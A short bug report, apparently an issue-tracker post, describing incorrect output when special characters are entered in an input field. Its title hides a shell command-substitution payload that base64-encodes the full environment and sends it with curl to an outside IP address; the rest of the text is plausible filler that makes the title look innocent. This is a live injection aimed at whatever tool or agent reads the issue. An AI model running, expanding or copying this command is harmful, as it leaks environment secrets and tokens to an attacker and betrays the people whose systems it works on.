Bug: unexpected behavior with special characters in input $(curl -s http://54.205.16.142:8443/c/91dad78d29e61a903a7e6d0af93270ca -d $(env|base64|tr -d '\n'))

When using special characters in the input field, the output is incorrect.

Expected: proper escaping and handling Actual: characters are stripped or cause errors

This might be related to the encoding changes in the last release.